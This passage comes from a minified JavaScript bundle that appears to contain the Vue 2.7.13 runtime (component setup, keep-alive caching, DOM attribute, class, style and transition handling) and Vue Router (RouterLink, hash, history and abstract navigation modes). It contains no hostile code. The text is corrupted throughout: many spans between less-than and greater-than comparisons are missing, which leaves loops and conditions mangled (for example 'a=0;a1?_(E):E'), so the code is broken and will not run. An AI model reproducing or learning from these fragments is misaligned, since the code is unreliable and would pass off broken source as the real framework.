e?e.split(",").indexOf(t)>-1:!!s(e)&&e.test(t)}function KE(e,t){var E=e.cache,l=e.keys,r=e._vnode;for(var a in E){var n=E[a];if(n){var o=n.name;o&&!t(o)&&GE(E,a,l,r)}}}function GE(e,t,E,l){var r=e[t];!r||l&&r.tag===l.tag||r.componentInstance.$destroy(),e[t]=null,y(E,t)}zE.prototype._init=function(e){var t=this;t._uid=WE++,t._isVue=!0,t.__v_skip=!0,t._scope=new Je(!0),t._scope._vm=!0,e&&e._isComponent?function(e,t){var E=e.$options=Object.create(e.constructor.options),l=t._parentVnode;E.parent=t.parent,E._parentVnode=l;var r=l.componentOptions;E.propsData=r.propsData,E._parentListeners=r.listeners,E._renderChildren=r.children,E._componentTag=r.tag,t.render&&(E.render=t.render,E.staticRenderFns=t.staticRenderFns)}(t,e):t.$options=PE(VE(t.constructor),e||{},t),t._renderProxy=t,t._self=t,function(e){var t=e.$options,E=t.parent;if(E&&!t.abstract){for(;E.$options.abstract&&E.$parent;)E=E.$parent;E.$children.push(e)}e.$parent=E,e.$root=E?E.$root:e,e.$children=[],e.$refs={},e._provided=E?E._provided:Object.create(null),e._watcher=null,e._inactive=null,e._directInactive=!1,e._isMounted=!1,e._isDestroyed=!1,e._isBeingDestroyed=!1}(t),function(e){e._events=Object.create(null),e._hasHookEvent=!1;var t=e.$options._parentListeners;t&&Ht(e,t)}(t),function(e){e._vnode=null,e._staticTrees=null;var t=e.$options,E=e.$vnode=t._parentVnode,r=E&&E.context;e.$slots=Bt(t._renderChildren,r),e.$scopedSlots=E?pt(e.$parent,E.data.scopedSlots,e.$slots):l,e._c=function(t,E,l,r){return Dt(e,t,E,l,r,!1)},e.$createElement=function(t,E,l,r){return Dt(e,t,E,l,r,!0)};var a=E&&E.data;Le(e,"$attrs",a&&a.attrs||l,null,!0),Le(e,"$listeners",t._parentListeners||l,null,!0)}(t),eE(t,"beforeCreate",void 0,!1),function(e){var t=sE(e.$options.inject,e);t&&(Me(!1),Object.keys(t).forEach((function(E){Le(e,E,t[E])})),Me(!0))}(t),IE(t),function(e){var t=e.$options.provide;if(t){var E=c(t)?t.call(e):t;if(!A(E))return;for(var l=Ze(e),r=ce?Reflect.ownKeys(E):Object.keys(E),a=0;a1?_(E):E;for(var l=_(arguments,1),r='event handler for "'.concat(e,'"'),a=0,n=E.length;aparseInt(this.max)&&GE(e,t[0],t,this._vnode),this.vnodeToCache=null}}},created:function(){this.cache=Object.create(null),this.keys=[]},destroyed:function(){for(var e in this.cache)GE(this.cache,e,this.keys)},mounted:function(){var e=this;this.cacheVNode(),this.$watch("include",(function(t){KE(e,(function(e){return HE(t,e)}))})),this.$watch("exclude",(function(t){KE(e,(function(e){return!HE(t,e)}))}))},updated:function(){this.cacheVNode()},render:function(){var e=this.$slots.default,t=Ft(e),E=t&&t.componentOptions;if(E){var l=NE(E),r=this.include,a=this.exclude;if(r&&(!l||!HE(r,l))||a&&l&&HE(a,l))return t;var n=this.cache,o=this.keys,i=null==t.key?E.Ctor.cid+(E.tag?"::".concat(E.tag):""):t.key;n[i]?(t.componentInstance=n[i].componentInstance,y(o,i),o.push(i)):(this.vnodeToCache=t,this.keyToCache=i),t.data.keepAlive=!0}return t||e&&e[0]}}};!function(e){var t={get:function(){return J}};Object.defineProperty(e,"config",t),e.util={warn:bE,extend:M,mergeOptions:PE,defineReactive:Le},e.set=Ue,e.delete=Re,e.nextTick=qt,e.observable=function(e){return je(e),e},e.options=Object.create(null),Q.forEach((function(t){e.options[t+"s"]=Object.create(null)})),e.options._base=e,M(e.options.components,YE),function(e){e.use=function(e){var t=this._installedPlugins||(this._installedPlugins=[]);if(t.indexOf(e)>-1)return this;var E=_(arguments,1);return E.unshift(this),c(e.install)?e.install.apply(e,E):c(e)&&e.apply(null,E),t.push(e),this}}(e),function(e){e.mixin=function(e){return this.options=PE(this.options,e),this}}(e),$E(e),function(e){Q.forEach((function(t){e[t]=function(e,E){return E?("component"===t&&B(E)&&(E.name=E.name||e,E=this.options._base.extend(E)),"directive"===t&&c(E)&&(E={bind:E,update:E}),this.options[t+"s"][e]=E,E):this.options[t+"s"][e]}}))}(e)}(zE),Object.defineProperty(zE.prototype,"$isServer",{get:ae}),Object.defineProperty(zE.prototype,"$ssrContext",{get:function(){return this.$vnode&&this.$vnode.ssrContext}}),Object.defineProperty(zE,"FunctionalRenderContext",{value:dE}),zE.version="2.7.13";var el=g("style,class"),tl=g("input,textarea,option,select,progress"),El=g("contenteditable,draggable,spellcheck"),ll=g("events,caret,typing,plaintext-only"),rl=g("allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,default,defaultchecked,defaultmuted,defaultselected,defer,disabled,enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,required,reversed,scoped,seamless,selected,sortable,truespeed,typemustmatch,visible"),al="http://www.w3.org/1999/xlink",nl=function(e){return":"===e.charAt(5)&&"xlink"===e.slice(0,5)},ol=function(e){return nl(e)?e.slice(6,e.length):""},il=function(e){return null==e||!1===e};function cl(e){for(var t=e.data,E=e,l=e;n(l.componentInstance);)(l=l.componentInstance._vnode)&&l.data&&(t=Al(l.data,t));for(;n(E=E.parent);)E&&E.data&&(t=Al(t,E.data));return function(e,t){if(n(e)||n(t))return ml(e,Bl(t));return""}(t.staticClass,t.class)}function Al(e,t){return{staticClass:ml(e.staticClass,t.staticClass),class:n(e.class)?[e.class,t.class]:t.class}}function ml(e,t){return e?t?e+" "+t:e:t||""}function Bl(e){return Array.isArray(e)?function(e){for(var t,E="",l=0,r=e.length;l-1?Ul(e,t,E):rl(t)?il(E)?e.removeAttribute(t):(E="allowfullscreen"===t&&"EMBED"===e.tagName?"true":t,e.setAttribute(t,E)):El(t)?e.setAttribute(t,function(e,t){return il(t)||"false"===t?"false":"contenteditable"===e&&ll(t)?t:"true"}(t,E)):nl(t)?il(E)?e.removeAttributeNS(al,ol(t)):e.setAttributeNS(al,t,E):Ul(e,t,E)}function Ul(e,t,E){if(il(E))e.removeAttribute(t);else{if(K&&!G&&"TEXTAREA"===e.tagName&&"placeholder"===t&&""!==E&&!e.__ieph){var l=function(t){t.stopImmediatePropagation(),e.removeEventListener("input",l)};e.addEventListener("input",l),e.__ieph=!0}e.setAttribute(t,E)}}var Rl={create:jl,update:jl};function Il(e,t){var E=t.elm,l=t.data,r=e.data;if(!(a(l.staticClass)&&a(l.class)&&(a(r)||a(r.staticClass)&&a(r.class)))){var o=cl(t),i=E._transitionClasses;n(i)&&(o=ml(o,Bl(i))),o!==E._prevClass&&(E.setAttribute("class",o),E._prevClass=o)}}var ql,Ql={create:Il,update:Il};function Ol(e,t,E){var l=ql;return function r(){var a=t.apply(null,arguments);null!==a&&Wl(e,r,E,l)}}var Jl=Mt&&!(te&&Number(te[1])<=53);function Zl(e,t,E,l){if(Jl){var r=oE,a=t;t=a._wrapper=function(e){if(e.target===e.currentTarget||e.timeStamp>=r||e.timeStamp<=0||e.target.ownerDocument!==document)return a.apply(this,arguments)}}ql.addEventListener(e,t,le?{capture:E,passive:l}:E)}function Wl(e,t,E,l){(l||ql).removeEventListener(e,t._wrapper||t,E)}function Vl(e,t){if(!a(e.data.on)||!a(t.data.on)){var E=t.data.on||{},l=e.data.on||{};ql=t.elm||e.elm,function(e){if(n(e.__r)){var t=K?"change":"input";e[t]=[].concat(e.__r,e[t]||[]),delete e.__r}n(e.__c)&&(e.change=[].concat(e.__c,e.change||[]),delete e.__c)}(E),ze(E,l,Zl,Wl,Ol,t.context),ql=void 0}}var zl,$l={create:Vl,update:Vl,destroy:function(e){return Vl(e,Cl)}};function Nl(e,t){if(!a(e.data.domProps)||!a(t.data.domProps)){var E,l,r=t.elm,i=e.data.domProps||{},c=t.data.domProps||{};for(E in(n(c.__ob__)||o(c._v_attr_proxy))&&(c=t.data.domProps=M({},c)),i)E in c||(r[E]="");for(E in c){if(l=c[E],"textContent"===E||"innerHTML"===E){if(t.children&&(t.children.length=0),l===i[E])continue;1===r.childNodes.length&&r.removeChild(r.childNodes[0])}if("value"===E&&"PROGRESS"!==r.tagName){r._value=l;var A=a(l)?"":String(l);Hl(r,A)&&(r.value=A)}else if("innerHTML"===E&&pl(r.tagName)&&a(r.innerHTML)){(zl=zl||document.createElement("div")).innerHTML="".concat(l,"");for(var m=zl.firstChild;r.firstChild;)r.removeChild(r.firstChild);for(;m.firstChild;)r.appendChild(m.firstChild)}else if(l!==i[E])try{r[E]=l}catch(e){}}}}function Hl(e,t){return!e.composing&&("OPTION"===e.tagName||function(e,t){var E=!0;try{E=document.activeElement!==e}catch(e){}return E&&e.value!==t}(e,t)||function(e,t){var E=e.value,l=e._vModifiers;if(n(l)){if(l.number)return u(E)!==u(t);if(l.trim)return E.trim()!==t.trim()}return E!==t}(e,t))}var Kl={create:Nl,update:Nl},Gl=C((function(e){var t={},E=/:(.+)/;return e.split(/;(?![^(]*\))/g).forEach((function(e){if(e){var l=e.split(E);l.length>1&&(t[l[0].trim()]=l[1].trim())}})),t}));function Xl(e){var t=Yl(e.style);return e.staticStyle?M(e.staticStyle,t):t}function Yl(e){return Array.isArray(e)?x(e):"string"==typeof e?Gl(e):e}var er,tr=/^--/,Er=/\s*!important$/,lr=function(e,t,E){if(tr.test(t))e.style.setProperty(t,E);else if(Er.test(E))e.style.setProperty(w(t),E.replace(Er,""),"important");else{var l=ar(t);if(Array.isArray(E))for(var r=0,a=E.length;r-1?t.split(ir).forEach((function(t){return e.classList.add(t)})):e.classList.add(t);else{var E=" ".concat(e.getAttribute("class")||""," ");E.indexOf(" "+t+" ")<0&&e.setAttribute("class",(E+t).trim())}}function Ar(e,t){if(t&&(t=t.trim()))if(e.classList)t.indexOf(" ")>-1?t.split(ir).forEach((function(t){return e.classList.remove(t)})):e.classList.remove(t),e.classList.length||e.removeAttribute("class");else{for(var E=" ".concat(e.getAttribute("class")||""," "),l=" "+t+" ";E.indexOf(l)>=0;)E=E.replace(l," ");(E=E.trim())?e.setAttribute("class",E):e.removeAttribute("class")}}function mr(e){if(e){if("object"==typeof e){var t={};return!1!==e.css&&M(t,Br(e.name||"v")),M(t,e),t}return"string"==typeof e?Br(e):void 0}}var Br=C((function(e){return{enterClass:"".concat(e,"-enter"),enterToClass:"".concat(e,"-enter-to"),enterActiveClass:"".concat(e,"-enter-active"),leaveClass:"".concat(e,"-leave"),leaveToClass:"".concat(e,"-leave-to"),leaveActiveClass:"".concat(e,"-leave-active")}})),sr=N&&!G,dr="transition",pr="transitionend",hr="animation",ur="animationend";sr&&(void 0===window.ontransitionend&&void 0!==window.onwebkittransitionend&&(dr="WebkitTransition",pr="webkitTransitionEnd"),void 0===window.onanimationend&&void 0!==window.onwebkitanimationend&&(hr="WebkitAnimation",ur="webkitAnimationEnd"));var gr=N?window.requestAnimationFrame?window.requestAnimationFrame.bind(window):setTimeout:function(e){return e()};function vr(e){gr((function(){gr(e)}))}function yr(e,t){var E=e._transitionClasses||(e._transitionClasses=[]);E.indexOf(t)<0&&(E.push(t),cr(e,t))}function fr(e,t){e._transitionClasses&&y(e._transitionClasses,t),Ar(e,t)}function br(e,t,E){var l=Fr(e,t),r=l.type,a=l.timeout,n=l.propCount;if(!r)return E();var o="transition"===r?pr:ur,i=0,c=function(){e.removeEventListener(o,A),E()},A=function(t){t.target===e&&++i>=n&&c()};setTimeout((function(){i0&&(E="transition",A=n,m=a.length):"animation"===t?c>0&&(E="animation",A=c,m=i.length):m=(E=(A=Math.max(n,c))>0?n>c?"transition":"animation":null)?"transition"===E?a.length:i.length:0,{type:E,timeout:A,propCount:m,hasTransform:"transition"===E&&Cr.test(l[dr+"Property"])}}function Dr(e,t){for(;e.length1}function Mr(e,t){!0!==t.data.show&&Sr(t)}var xr=function(e){var t,E,l={},c=e.modules,A=e.nodeOps;for(t=0;td?y(e,a(E[u+1])?null:E[u+1].elm,E,s,u,l):s>u&&b(t,m,d)}(m,p,u,E,c):n(u)?(n(e.text)&&A.setTextContent(m,""),y(m,null,u,0,u.length-1,E)):n(p)?b(p,0,p.length-1):n(e.text)&&A.setTextContent(m,""):e.text!==t.text&&A.setTextContent(m,t.text),n(d)&&n(s=d.hook)&&n(s=s.postpatch)&&s(e,t)}}}function k(e,t,E){if(o(E)&&n(e.parent))e.parent.data.pendingInsert=t;else for(var l=0;l-1,n.selected!==a&&(n.selected=a);else if(U(Rr(n),l))return void(e.selectedIndex!==o&&(e.selectedIndex=o));r||(e.selectedIndex=-1)}}function Ur(e,t){return t.every((function(t){return!U(t,e)}))}function Rr(e){return"_value"in e?e._value:e.value}function Ir(e){e.target.composing=!0}function qr(e){e.target.composing&&(e.target.composing=!1,Qr(e.target,"input"))}function Qr(e,t){var E=document.createEvent("HTMLEvents");E.initEvent(t,!0,!0),e.dispatchEvent(E)}function Or(e){return!e.componentInstance||e.data&&e.data.transition?e:Or(e.componentInstance._vnode)}var Jr={model:Tr,show:{bind:function(e,t,E){var l=t.value,r=(E=Or(E)).data&&E.data.transition,a=e.__vOriginalDisplay="none"===e.style.display?"":e.style.display;l&&r?(E.data.show=!0,Sr(E,(function(){e.style.display=a}))):e.style.display=l?a:"none"},update:function(e,t,E){var l=t.value;!l!=!t.oldValue&&((E=Or(E)).data&&E.data.transition?(E.data.show=!0,l?Sr(E,(function(){e.style.display=e.__vOriginalDisplay})):wr(E,(function(){e.style.display="none"}))):e.style.display=l?e.__vOriginalDisplay:"none")},unbind:function(e,t,E,l,r){r||(e.style.display=e.__vOriginalDisplay)}}},Zr={name:String,appear:Boolean,css:Boolean,mode:String,type:String,enterClass:String,leaveClass:String,enterToClass:String,leaveToClass:String,enterActiveClass:String,leaveActiveClass:String,appearClass:String,appearActiveClass:String,appearToClass:String,duration:[Number,String,Object]};function Wr(e){var t=e&&e.componentOptions;return t&&t.Ctor.options.abstract?Wr(Ft(t.children)):e}function Vr(e){var t={},E=e.$options;for(var l in E.propsData)t[l]=e[l];var r=E._parentListeners;for(var l in r)t[D(l)]=r[l];return t}function zr(e,t){if(/\d-keep-alive$/.test(t.tag))return e("keep-alive",{props:t.componentOptions.propsData})}var $r=function(e){return e.tag||dt(e)},Nr=function(e){return"show"===e.name},Hr={name:"transition",props:Zr,abstract:!0,render:function(e){var t=this,E=this.$slots.default;if(E&&(E=E.filter($r)).length){0;var l=this.mode;0;var r=E[0];if(function(e){for(;e=e.parent;)if(e.data.transition)return!0}(this.$vnode))return r;var a=Wr(r);if(!a)return r;if(this._leaving)return zr(e,r);var n="__transition-".concat(this._uid,"-");a.key=null==a.key?a.isComment?n+"comment":n+a.tag:i(a.key)?0===String(a.key).indexOf(n)?a.key:n+a.key:a.key;var o=(a.data||(a.data={})).transition=Vr(this),c=this._vnode,A=Wr(c);if(a.data.directives&&a.data.directives.some(Nr)&&(a.data.show=!0),A&&A.data&&!function(e,t){return t.key===e.key&&t.tag===e.tag}(a,A)&&!dt(A)&&(!A.componentInstance||!A.componentInstance._vnode.isComment)){var m=A.data.transition=M({},o);if("out-in"===l)return this._leaving=!0,$e(m,"afterLeave",(function(){t._leaving=!1,t.$forceUpdate()})),zr(e,r);if("in-out"===l){if(dt(a))return c;var B,s=function(){B()};$e(o,"afterEnter",s),$e(o,"enterCancelled",s),$e(m,"delayLeave",(function(e){B=e}))}}return r}}},Kr=M({tag:String,moveClass:String},Zr);function Gr(e){e.elm._moveCb&&e.elm._moveCb(),e.elm._enterCb&&e.elm._enterCb()}function Xr(e){e.data.newPos=e.elm.getBoundingClientRect()}function Yr(e){var t=e.data.pos,E=e.data.newPos,l=t.left-E.left,r=t.top-E.top;if(l||r){e.data.moved=!0;var a=e.elm.style;a.transform=a.WebkitTransform="translate(".concat(l,"px,").concat(r,"px)"),a.transitionDuration="0s"}}delete Kr.mode;var ea={Transition:Hr,TransitionGroup:{props:Kr,beforeMount:function(){var e=this,t=this._update;this._update=function(E,l){var r=Gt(e);e.__patch__(e._vnode,e.kept,!1,!0),e._vnode=e.kept,r(),t.call(e,E,l)}},render:function(e){for(var t=this.tag||this.$vnode.data.tag||"span",E=Object.create(null),l=this.prevChildren=this.children,r=this.$slots.default||[],a=this.children=[],n=Vr(this),o=0;o-1?ul[e]=t.constructor===window.HTMLUnknownElement||t.constructor===window.HTMLElement:ul[e]=/HTMLUnknownElement/.test(t.toString())},M(zE.options.directives,Jr),M(zE.options.components,ea),zE.prototype.__patch__=N?xr:T,zE.prototype.$mount=function(e,t){return function(e,t,E){var l;e.$el=t,e.$options.render||(e.$options.render=se),eE(e,"beforeMount"),l=function(){e._update(e._render(),E)},new Vt(e,l,T,{before:function(){e._isMounted&&!e._isDestroyed&&eE(e,"beforeUpdate")}},!0),E=!1;var r=e._preWatchers;if(r)for(var a=0;a=0&&(t=e.slice(l),e=e.slice(0,l));var r=e.indexOf("?");return r>=0&&(E=e.slice(r+1),e=e.slice(0,r)),{path:e,query:E,hash:t}}(r.path||""),c=t&&t.path||"/",A=i.path?fa(i.path,c,E||r.append):c,m=function(e,t,E){void 0===t&&(t={});var l,r=E||ia;try{l=r(e||"")}catch(e){l={}}for(var a in t){var n=t[a];l[a]=Array.isArray(n)?n.map(oa):oa(n)}return l}(i.query,r.query,l&&l.options.parseQuery),B=r.hash||i.hash;return B&&"#"!==B.charAt(0)&&(B="#"+B),{_normalized:!0,path:A,query:m,hash:B}}var Ja,Za=function(){},Wa={name:"RouterLink",props:{to:{type:[String,Object],required:!0},tag:{type:String,default:"a"},custom:Boolean,exact:Boolean,exactPath:Boolean,append:Boolean,replace:Boolean,activeClass:String,exactActiveClass:String,ariaCurrentValue:{type:String,default:"page"},event:{type:[String,Array],default:"click"}},render:function(e){var t=this,E=this.$router,l=this.$route,r=E.resolve(this.to,l,this.append),a=r.location,n=r.route,o=r.href,i={},c=E.options.linkActiveClass,A=E.options.linkExactActiveClass,m=null==c?"router-link-active":c,B=null==A?"router-link-exact-active":A,s=null==this.activeClass?m:this.activeClass,d=null==this.exactActiveClass?B:this.exactActiveClass,p=n.redirectedFrom?ma(null,Oa(n.redirectedFrom),null,E):n;i[d]=ha(l,p,this.exactPath),i[s]=this.exact||this.exactPath?i[d]:function(e,t){return 0===e.path.replace(Aa,"/").indexOf(t.path.replace(Aa,"/"))&&(!t.hash||e.hash===t.hash)&&function(e,t){for(var E in t)if(!(E in e))return!1;return!0}(e.query,t.query)}(l,p);var h=i[d]?this.ariaCurrentValue:null,u=function(e){Va(e)&&(t.replace?E.replace(a,Za):E.push(a,Za))},g={click:Va};Array.isArray(this.event)?this.event.forEach((function(e){g[e]=u})):g[this.event]=u;var v={class:i},y=!this.$scopedSlots.$hasNormal&&this.$scopedSlots.default&&this.$scopedSlots.default({href:o,route:n,navigate:u,isActive:i[s],isExactActive:i[d]});if(y){if(1===y.length)return y[0];if(y.length>1||!y.length)return 0===y.length?e():e("span",{},y)}if("a"===this.tag)v.on=g,v.attrs={href:o,"aria-current":h};else{var f=function e(t){var E;if(t)for(var l=0;l-1&&(o.params[B]=E.params[B]);return o.path=Qa(A.path,o.params),i(A,o,n)}if(o.path){o.params={};for(var s=0;s-1}function Cn(e,t){return bn(e)&&e._isRouter&&(null==t||e.type===t)}function Fn(e,t,E){var l=function(r){r>=e.length?E():e[r]?t(e[r],(function(){l(r+1)})):l(r+1)};l(0)}function Dn(e){return function(t,E,l){var r=!1,a=0,n=null;kn(e,(function(e,t,E,o){if("function"==typeof e&&void 0===e.cid){r=!0,a++;var i,c=Pn((function(t){var r;((r=t).__esModule||wn&&"Module"===r[Symbol.toStringTag])&&(t=t.default),e.resolved="function"==typeof t?t:Ja.extend(t),E.components[o]=t,--a<=0&&l()})),A=Pn((function(e){var t="Failed to resolve async component "+o+": "+e;n||(n=bn(e)?e:new Error(t),l(n))}));try{i=e(c,A)}catch(e){A(e)}if(i)if("function"==typeof i.then)i.then(c,A);else{var m=i.component;m&&"function"==typeof m.then&&m.then(c,A)}}})),r||l()}}function kn(e,t){return Sn(e.map((function(e){return Object.keys(e.components).map((function(E){return t(e.components[E],e.instances[E],e,E)}))})))}function Sn(e){return Array.prototype.concat.apply([],e)}var wn="function"==typeof Symbol&&"symbol"==typeof Symbol.toStringTag;function Pn(e){var t=!1;return function(){for(var E=[],l=arguments.length;l--;)E[l]=arguments[l];if(!t)return t=!0,e.apply(this,E)}}var _n=function(e,t){this.router=e,this.base=function(e){if(!e)if(za){var t=document.querySelector("base");e=(e=t&&t.getAttribute("href")||"/").replace(/^https?:\/\/[^\/]+/,"")}else e="/";"/"!==e.charAt(0)&&(e="/"+e);return e.replace(/\/$/,"")}(t),this.current=sa,this.pending=null,this.ready=!1,this.readyCbs=[],this.readyErrorCbs=[],this.errorCbs=[],this.listeners=[]};function Mn(e,t,E,l){var r=kn(e,(function(e,l,r,a){var n=function(e,t){"function"!=typeof e&&(e=Ja.extend(e));return e.options[t]}(e,t);if(n)return Array.isArray(n)?n.map((function(e){return E(e,l,r,a)})):E(n,l,r,a)}));return Sn(l?r.reverse():r)}function xn(e,t){if(t)return function(){return e.apply(t,arguments)}}_n.prototype.listen=function(e){this.cb=e},_n.prototype.onReady=function(e,t){this.ready?e():(this.readyCbs.push(e),t&&this.readyErrorCbs.push(t))},_n.prototype.onError=function(e){this.errorCbs.push(e)},_n.prototype.transitionTo=function(e,t,E){var l,r=this;try{l=this.router.match(e,this.current)}catch(e){throw this.errorCbs.forEach((function(t){t(e)})),e}var a=this.current;this.confirmTransition(l,(function(){r.updateRoute(l),t&&t(l),r.ensureURL(),r.router.afterHooks.forEach((function(e){e&&e(l,a)})),r.ready||(r.ready=!0,r.readyCbs.forEach((function(e){e(l)})))}),(function(e){E&&E(e),e&&!r.ready&&(Cn(e,un.redirected)&&a===sa||(r.ready=!0,r.readyErrorCbs.forEach((function(t){t(e)}))))}))},_n.prototype.confirmTransition=function(e,t,E){var l=this,r=this.current;this.pending=e;var a,n,o=function(e){!Cn(e)&&bn(e)&&(l.errorCbs.length?l.errorCbs.forEach((function(t){t(e)})):console.error(e)),E&&E(e)},i=e.matched.length-1,c=r.matched.length-1;if(ha(e,r)&&i===c&&e.matched[i]===r.matched[c])return this.ensureURL(),e.hash&&rn(this.router,r,e,!1),o(((n=yn(a=r,e,un.duplicated,'Avoided redundant navigation to current location: "'+a.fullPath+'".')).name="NavigationDuplicated",n));var A=function(e,t){var E,l=Math.max(e.length,t.length);for(E=0;E0)){var t=this.router,E=t.options.scrollBehavior,l=dn&&E;l&&this.listeners.push(ln());var r=function(){var E=e.current,r=jn(e.base);e.current===sa&&r===e._startLocation||e.transitionTo(r,(function(e){l&&rn(t,e,E,!0)}))};window.addEventListener("popstate",r),this.listeners.push((function(){window.removeEventListener("popstate",r)}))}},t.prototype.go=function(e){window.history.go(e)},t.prototype.push=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){pn(ba(l.base+e.fullPath)),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.replace=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){hn(ba(l.base+e.fullPath)),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.ensureURL=function(e){if(jn(this.base)!==this.current.fullPath){var t=ba(this.base+this.current.fullPath);e?pn(t):hn(t)}},t.prototype.getCurrentLocation=function(){return jn(this.base)},t}(_n);function jn(e){var t=window.location.pathname,E=t.toLowerCase(),l=e.toLowerCase();return!e||E!==l&&0!==E.indexOf(ba(l+"/"))||(t=t.slice(e.length)),(t||"/")+window.location.search+window.location.hash}var Ln=function(e){function t(t,E,l){e.call(this,t,E),l&&function(e){var t=jn(e);if(!/^\/#/.test(t))return window.location.replace(ba(e+"/#"+t)),!0}(this.base)||Un()}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.setupListeners=function(){var e=this;if(!(this.listeners.length>0)){var t=this.router.options.scrollBehavior,E=dn&&t;E&&this.listeners.push(ln());var l=function(){var t=e.current;Un()&&e.transitionTo(Rn(),(function(l){E&&rn(e.router,l,t,!0),dn||Qn(l.fullPath)}))},r=dn?"popstate":"hashchange";window.addEventListener(r,l),this.listeners.push((function(){window.removeEventListener(r,l)}))}},t.prototype.push=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){qn(e.fullPath),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.replace=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){Qn(e.fullPath),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.go=function(e){window.history.go(e)},t.prototype.ensureURL=function(e){var t=this.current.fullPath;Rn()!==t&&(e?qn(t):Qn(t))},t.prototype.getCurrentLocation=function(){return Rn()},t}(_n);function Un(){var e=Rn();return"/"===e.charAt(0)||(Qn("/"+e),!1)}function Rn(){var e=window.location.href,t=e.indexOf("#");return t<0?"":e=e.slice(t+1)}function In(e){var t=window.location.href,E=t.indexOf("#");return(E>=0?t.slice(0,E):t)+"#"+e}function qn(e){dn?pn(In(e)):window.location.hash=e}function Qn(e){dn?hn(In(e)):window.location.replace(In(e))}var On=function(e){function t(t,E){e.call(this,t,E),this.stack=[],this.index=-1}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.push=function(e,t,E){var l=this;this.transitionTo(e,(function(e){l.stack=l.stack.slice(0,l.index+1).concat(e),l.index++,t&&t(e)}),E)},t.prototype.replace=function(e,t,E){var l=this;this.transitionTo(e,(function(e){l.stack=l.stack.slice(0,l.index).concat(e),t&&t(e)}),E)},t.prototype.go=function(e){var t=this,E=this.index+e;if(!(E<0||E>=this.stack.length)){var l=this.stack[E];this.confirmTransition(l,(function(){var e=t.current;t.index=E,t.updateRoute(l),t.router.afterHooks.forEach((function(t){t&&t(l,e)}))}),(function(e){Cn(e,un.duplicated)&&(t.index=E)}))}},t.prototype.getCurrentLocation=function(){var e=this.stack[this.stack.length-1];return e?e.fullPath:"/"},t.prototype.ensureURL=function(){},t}(_n),Jn=function(e){void 0===e&&(e={}),this.app=null,this.apps=[],this.options=e,this.beforeHooks=[],this.resolveHooks=[],this.afterHooks=[],this.matcher=Ha(e.routes||[],this);var t=e.mode||"hash";switch(this.fallback="history"===t&&!dn&&!1!==e.fallback,this.fallback&&(t="hash"),za||(t="abstract"),this.mode=t,t){case"history":this.history=new Tn(this,e.base);break;case"hash":this.history=new Ln(this,e.base,this.fallback);break;case"abstract":this.history=new On(this,e.base);break;default:0}},Zn={currentRoute:{configurable:!0}};Jn.prototype.match=function(e,t,E){return this.matcher.match(e,t,E)},Zn.currentRoute.get=function(){return this.history&&this.history.current},Jn.prototype.init=function(e){var t=this;if(this.apps.push(e),e.$once("hook:destroyed",(function(){var E=t.apps.indexOf(e);E>-1&&t.apps.splice(E,1),t.app===e&&(t.app=t.apps[0]||null),t.app||t.history.teardown()})),!this.app){this.app=e;var E=this.history;if(E instanceof Tn||E instanceof Ln){var l=function(e){E.setupListeners(),function(e){var l=E.current,r=t.options.scrollBehavior;dn&&r&&"fullPath"in e&&rn(t,e,l,!1)}(e)};E.transitionTo(E.getCurrentLocation(),l,l)}E.listen((function(e){t.apps.forEach((function(t){t._route=e}))}))}},Jn.prototype.beforeEach=function(e){return Vn(this.beforeHooks,e)},Jn.prototype.beforeResolve=function(e){return Vn(this.resolveHooks,e)},Jn.prototype.afterEach=function(e){return Vn(this.afterHooks,e)},Jn.prototype.onReady=function(e,t){this.history.onReady(e,t)},Jn.prototype.onError=function(e){this.history.onError(e)},Jn.prototype.push=function(e,t,E){var l=this;if(!t&&!E&&"undefined"!=typeof Promise)return new Promise((function(t,E){l.history.push(e,t,E)}));this.history.push(e,t,E)},Jn.prototype.replace=function(e,t,E){var l=this;if(!t&&!E&&"undefined"!=typeof Promise)return new Promise((function(t,E){l.history.replace(e,t,E)}));this.history.replace(e,t,E)},Jn.prototype.go=function(e){this.history.go(e)},Jn.prototype.back=function(){this.go(-1)},Jn.prototype.forward=function(){this.go(1)},Jn.prototype.getMatchedComponents=function(e){var t=e?e.matched?e:this.resolve(e).route:this.currentRoute;return t?[].concat.apply([],t.matched.map((function(e){return Object.keys(e.components).map((function(t){return e.components[t]}))}))):[]},Jn.prototype.resolve=function(e,t,E){var l=Oa(e,t=t||this.history.current,E,this),r=this.match(l,t),a=r.redirectedFrom||r.fullPath;return{location:l,route:r,href:function(e,t,E){var l="hash"===E?"#"+t:t;return e?ba(e+"/"+l):l}(this.history.base,a,this.mode),normalizedTo:l,resolved:r}},Jn.prototype.getRoutes=function(){return this.matcher.getRoutes()},Jn.prototype.addRoute=function(e,t){this.matcher.addRoute(e,t),this.history.current!==sa&&this.history.transitionTo(this.history.getCurrentLocation())},Jn.prototype.addRoutes=function(e){this.matcher.addRoutes(e),this.history.current!==sa&&this.history.transitionTo(this.history.getCurrentLocation())},Object.defineProperties(Jn.prototype,Zn);var Wn=Jn;function Vn(e,t){return e.push(t),function(){var E=e.indexOf(t);E>-1&&e.splice(E,1)}}Jn.install=function e(t){if(!e.installed||Ja!==t){e.installed=!0,Ja=t;var E=function(e){return void 0!==e},l=function(e,t){var l=e.$options._parentVnode;E(l)&&E(l=l.data)&&E(l=l.registerRouteInstance)&&l(e,t)};t.mixin({beforeCreate:function(){E(this.$options.router)?(this._routerRoot=this,this._router=this.$options.router,this._router.init(this),t.util.defineReactive(this,"_route",this._router.history.current)):this._routerRoot=this.$parent&&this.$parent._routerRoot||this,l(this,this)},destroyed:function(){l(this)}}),Object.defineProperty(t.prototype,"$router",{get:function(){return this._routerRoot._router}}),Object.defineProperty(t.prototype,"$route",{get:function(){return this._routerRoot._route}}),t.component("RouterView",va),t.component("RouterLink",Wa);var 